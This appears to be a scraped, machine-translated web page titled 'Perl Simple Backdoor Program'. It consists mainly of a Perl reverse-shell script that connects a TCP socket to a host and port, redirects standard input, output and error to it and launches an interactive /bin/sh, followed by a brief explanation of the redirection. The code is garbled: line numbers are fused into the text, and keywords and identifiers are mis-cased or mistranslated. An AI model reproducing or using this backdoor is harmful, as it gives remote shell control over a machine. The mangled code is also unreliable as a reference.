Perl Simple Backdoor Program

Source: Internet
Author: User

1 #!/usr/bin/env Perl2  Usewarnings;3  UseStrict;4  Use Socket;5  6 my $HOST='localhost';7 my $PORT=8080;8 Socket(S,pf_inet,sock_stream,Getprotobyname("TCP"));9 if(Connect(S,sockaddr_in ($PORT, Inet_aton ($HOST)))){Ten     Open(STDIN,">&s"); One     Open(STDOUT,">&s"); A     Open(STDERR,">&s"); -     exec("/bin/sh-i"); -}

The above open is for redirection, to redirect all sockets to all of the Shell's
The last exec was to jump into the/bin/sh.
Because the front has been connected with the stdin STDOUT stderr.

Perl Simple Backdoor Program

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